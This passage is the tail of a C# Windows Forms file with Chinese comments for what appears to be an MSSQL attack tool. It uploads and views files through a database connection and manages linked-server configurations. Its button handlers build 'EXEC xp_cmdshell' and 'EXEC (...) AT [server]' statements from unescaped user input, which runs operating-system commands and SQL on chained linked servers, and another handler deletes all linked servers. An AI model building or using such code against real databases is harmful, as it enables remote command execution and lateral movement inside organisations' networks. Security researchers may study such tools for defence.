            }
        }
        /// <summary>
        /// 右键上传
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void 上传ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            textBox11.Clear();
            // 创建 OpenFileDialog 对象
            OpenFileDialog openFileDialog = new OpenFileDialog();

            // 设置文件过滤器（可选）
            openFileDialog.Filter = "所有文件 (*.*)|*.*";

            // 显示对话框并检查用户是否点击了确定
            if (openFileDialog.ShowDialog() == DialogResult.OK)
            {
                // 获取所选择文件的完整路径
                string filePath = openFileDialog.FileName;

                // 将路径显示在 textBox1 中
                textBox11.Text = filePath;

                richTextBox12.Clear();
                if (string.IsNullOrEmpty(textBox11.Text) || string.IsNullOrEmpty(textBox11.Text))
                {
                    MessageBox.Show("本地或远程路径不能为空");
                }
                else
                {
                    // 传出本地路径：获取的完整路径
                    Api.T_Files_Info.LoaclPath = textBox11.Text;

                    // 传出远程路径：仅限获取路径
                    Api.T_Files_Info.RemovName = textBox12.Text;

                    // 这里采用缓存的机制将文件进行缓存，然后进行编码，解决大文件上传的方式，删除原有方法

                    //MessageBox.Show("文件上传方法优化中，暂不支持！");

                    await Services.T_Upload.Upload(Api.T_Mssql_Excel.Connection);
                    string[] lines = Api.T_Files_Info.UploadStatus.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var line in lines)
                    {
                        richTextBox12.Text += line + "\r\n";
                    }
                }
            }
        }
        /// <summary>
        /// 查看数据
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void 查看ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                if (listView1.SelectedItems.Count > 0)
                {
                    string selectedPath = listView1.SelectedItems[0].Tag.ToString();

                    // 判断所选路径是否为文件夹
                    if (Directory.Exists(selectedPath)) // 如果是文件夹
                    {
                        MessageBox.Show("请选择文件进行查看！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                    else // 如果是文件
                    {

                        // 检查文件格式是否为文本文件
                        if (!IsTextFile(selectedPath))
                        {
                            MessageBox.Show("只能查看文本格式的文件！\n支持的格式：.txt, .log, .json, .xml, .config, .ini, .html, .htm, .js, .css, .cs, .java, .cpp, .c, .h, .py, .sql, .bat, .ps1, .md 等",
                                "格式不支持", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                        }
                        else
                        {
                            richTextBox1.Clear();
                            richTextBox12.Clear();

                            string path = Path.GetDirectoryName(selectedPath) + Path.DirectorySeparatorChar;
                            string name = Path.GetFileName(selectedPath);
                            // 将文件路径及文件名称传出
                            Api.T_Mssql_Excel.Path = path;
                            Api.T_Mssql_Excel.Name = name;

                            await Services.T_Client_Mssql.Sql_Fil_Info(Api.T_Mssql_Excel.Connection);

                            Form2 form = new Form2();
                            form.StartPosition = FormStartPosition.CenterScreen;
                            form.ShowDialog();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"发生了错误: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        /// <summary>
        /// 检查文件是否为文本格式
        /// </summary>
        /// <param name="filePath">文件路径</param>
        /// <returns>如果是文本文件返回true，否则返回false</returns>
        private bool IsTextFile(string filePath)
        {
            try
            {
                // 获取文件扩展名并转换为小写
                string extension = Path.GetExtension(filePath).ToLower();

                // 定义支持的文本文件扩展名
                string[] textFileExtensions = {
            ".txt", ".log", ".json", ".xml", ".config", ".ini",
            ".html", ".htm", ".js", ".css", ".cs", ".java", ".cpp", ".c",
            ".h", ".py", ".sql", ".bat", ".ps1", ".md", ".yml", ".yaml",
            ".properties", ".gitignore", ".editorconfig", ".license"
        };

                // 检查扩展名是否在支持的列表中
                if (textFileExtensions.Contains(extension))
                {
                    return true;
                }

                // 对于没有扩展名或其他扩展名的文件，进行内容检测
                return IsFileContentText(filePath);
            }
            catch (Exception)
            {
                // 如果检测过程中出现错误，默认不允许查看
                return false;
            }
        }

        /// <summary>
        /// 通过文件内容检测是否为文本文件
        /// </summary>
        /// <param name="filePath">文件路径</param>
        /// <returns>如果是文本文件返回true，否则返回false</returns>
        private bool IsFileContentText(string filePath)
        {
            try
            {
                // 检查文件大小，如果太大则不建议直接查看
                FileInfo fileInfo = new FileInfo(filePath);
                if (fileInfo.Length > 10 * 1024 * 1024) // 10MB
                {
                    MessageBox.Show("文件过大，不建议直接查看！", "文件过大", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                    return false;
                }

                // 读取文件的前几个字节来检测文件类型
                using (FileStream stream = File.OpenRead(filePath))
                {
                    byte[] buffer = new byte[1024];
                    int bytesRead = stream.Read(buffer, 0, buffer.Length);

                    // 检测是否为二进制文件
                    for (int i = 0; i < bytesRead; i++)
                    {
                        byte b = buffer[i];
                        // 如果包含很多空字节或控制字符（除了常见的文本控制字符），则可能是二进制文件
                        if (b == 0 && i > 0) // 空字节在文本文件中很少见（除了Unicode文件头）
                        {
                            return false;
                        }

                        // 检查是否包含非文本字符（除了常见的控制字符）
                        if (b < 32 && b != 9 && b != 10 && b != 13) // 9=Tab, 10=LF, 13=CR
                        {
                            // 如果连续出现多个非文本控制字符，则很可能是二进制文件
                            if (i + 1 < bytesRead && buffer[i + 1] < 32 && buffer[i + 1] != 9 && buffer[i + 1] != 10 && buffer[i + 1] != 13)
                            {
                                return false;
                            }
                        }
                    }

                    // 尝试将内容解码为文本
                    string content = Encoding.UTF8.GetString(buffer, 0, bytesRead);

                    // 检查是否包含大量不可打印字符
                    int nonPrintableCount = content.Count(c => char.IsControl(c) && c != '\r' && c != '\n' && c != '\t');
                    double nonPrintableRatio = (double)nonPrintableCount / content.Length;

                    // 如果不可打印字符比例过高，则认为是二进制文件
                    return nonPrintableRatio < 0.1; // 10%的阈值
                }
            }
            catch (Exception)
            {
                return false;
            }
        }
        private void button27_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrEmpty(comboBox7.Text))
            {
                MessageBox.Show("选择的链服务不能为空！");
            }
            else
            {
                // 锁定
            }
        }

        private void button14_Click(object sender, EventArgs e)
        {
            MessageBox.Show("文件上传方法优化中！");
        }

        private void 删除ToolStripMenuItem1_Click(object sender, EventArgs e)
        {
            DeleteSelectedConfig(listView3);
        }

        private async void button28_Click(object sender, EventArgs e)
        {
            await Services.T_Chain_Sql_ClientService.DeleteAllLinkedServers(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime1);
            MessageBox.Show("清空所有远程链服务完成！");
        }

        private void button30_Click(object sender, EventArgs e)
        {
            try
            {
                string configPath = Path.Combine(Application.StartupPath, "ChainServerConfig.json");

                if (!File.Exists(configPath))
                {
                    MessageBox.Show("配置文件不存在！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    return;
                }

                DialogResult result = MessageBox.Show(
                    "确定要清空本地链服务配置吗？此操作不可恢复！",
                    "确认删除",
                    MessageBoxButtons.YesNo,
                    MessageBoxIcon.Warning);

                if (result != DialogResult.Yes) return;

                File.Delete(configPath);

                MessageBox.Show("配置文件已删除！", "成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
                LoadConfigToListView();
            }
            catch (Exception ex)
            {
                MessageBox.Show($"删除配置文件失败: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        public void LoadConfigToComboBox()
        {
            try
            {
                // 清空ComboBox
                comboBox7.Items.Clear();

                string configPath = Path.Combine(Application.StartupPath, "ChainServerConfig.json");

                // 检查文件是否存在
                if (!File.Exists(configPath))
                {
                    comboBox7.Text = "配置文件不存在";
                    return;
                }

                // 读取JSON文件
                string json = File.ReadAllText(configPath);
                var configList = JsonSerializer.Deserialize<List<Dictionary<string, object>>>(json);

                if (configList == null || configList.Count == 0)
                {
                    comboBox7.Text = "配置文件为空";
                    return;
                }

                // 添加到ComboBox
                foreach (var config in configList)
                {
                    string id = GetStringValues(config, "IP");
                    string name = GetStringValues(config, "Name");
                    string ip = GetStringValues(config, "Note");

                    // 显示格式：ID - 服务名称 (IP)
                    string displayText = $"{id} - {name} - ({ip})";
                    comboBox7.Items.Add(displayText);

                    // 可选：将配置对象存储在Tag中
                    // comboBox7.Items.Add(new { Display = displayText, Config = config });
                }

                // 设置默认显示第一项
                if (comboBox7.Items.Count > 0)
                {
                    comboBox7.SelectedIndex = 0;
                }
                else
                {
                    comboBox7.Text = "无可用配置";
                }
            }
            catch (Exception ex)
            {
                comboBox7.Text = $"读取失败: {ex.Message}";
            }
        }

        // 辅助方法：安全获取字符串值
        private static string GetStringValues(Dictionary<string, object> dict, string key)
        {
            if (dict.ContainsKey(key) && dict[key] != null)
            {
                return dict[key].ToString();
            }
            return string.Empty;
        }
        private void button29_Click(object sender, EventArgs e)
        {
            // 检查本地的链服务，必须连接数据库
        }
        /// <summary>
        /// 执行系统命令
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button16_Click(object sender, EventArgs e)
        {
            richTextBox6.Clear();
            if (string.IsNullOrEmpty(comboBox7.Text))
            {
                MessageBox.Show("链服务选择不能为空！");
            }
            else
            {
                // 解析链名称
                string selectedText = comboBox7.SelectedItem.ToString();
                string[] parts = selectedText.Split(new string[] { " - " }, StringSplitOptions.None);
                if (parts.Length >= 2)
                {
                    string server = parts[1];
                    // 需要执行的命令
                    string command = comboBox5.Text;

                    //string cmd = "EXEC XP_CMDSHELL '" + command + "' AT " + server + "";
                    string cmd = $"EXEC ('EXEC xp_cmdshell ''{command}''') AT [{server}]";
                    // 定义需要执行的系统命令
                    Api.T_Mssql_Excel.Esql = cmd;

                    if (string.IsNullOrEmpty(command))
                    {
                        MessageBox.Show("执行的链命令不能为空！");
                    }
                    else
                    {

                        await Services.T_Link_ClientServices.ExecuteSqlCommandSystem(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime3);

                    }
                }
                else
                {
                    MessageBox.Show("程序异常，无法获取到链服务名称！");
                }
            }
        }
        /// <summary>
        /// 执行链服务的系统命令
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button17_Click(object sender, EventArgs e)
        {
            richTextBox7.Clear();
            if (string.IsNullOrEmpty(comboBox7.Text))
            {
                MessageBox.Show("链服务选择不能为空！");
            }
            else
            {
                string selectedText = comboBox7.SelectedItem.ToString();
                string[] parts = selectedText.Split(new string[] { " - " }, StringSplitOptions.None);

                if (parts.Length >= 2)
                {
                    string server = parts[1];
                    // 执行链服务的sql命令
                    string command = comboBox6.Text;

                    //string sql = "EXECUTE ('" + command + "') AT " + server + ";";
                    string sql = $"EXEC ('{command}') AT [{server}]";
                    Api.T_Mssql_Excel.Esql = sql;

                    // 执行Sql命令
                    await Services.T_Link_ClientServices.ExecuteSqlCommand(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime2);
                }
                else
                {
                    MessageBox.Show("程序异常，无法获取到链服务名称！");
                }
            }
        }
        private void UpdateStatusRealTime2(string message)
        {
            if (richTextBox7.InvokeRequired)
            {
                richTextBox7.Invoke(new Action<string>(UpdateStatusRealTime2), message);
            }
            else
            {
                richTextBox7.AppendText(DateTime.Now + "：" + message + "\r\n");
                // 自动滚动到最后
                richTextBox7.SelectionStart = richTextBox7.Text.Length;
                richTextBox7.ScrollToCaret();
                // 强制刷新UI
                richTextBox7.Refresh();
            }
        }
        private void UpdateStatusRealTime3(string message)
        {
            if (richTextBox6.InvokeRequired)
            {
                richTextBox6.Invoke(new Action<string>(UpdateStatusRealTime3), message);
            }
            else
            {
                richTextBox6.AppendText(DateTime.Now + "：" + message + "\r\n");
                // 自动滚动到最后
                richTextBox6.SelectionStart = richTextBox6.Text.Length;
                richTextBox6.ScrollToCaret();
                // 强制刷新UI
                richTextBox6.Refresh();
            }
        }

        private void button20_Click(object sender, EventArgs e)
        {

        }
    }
}
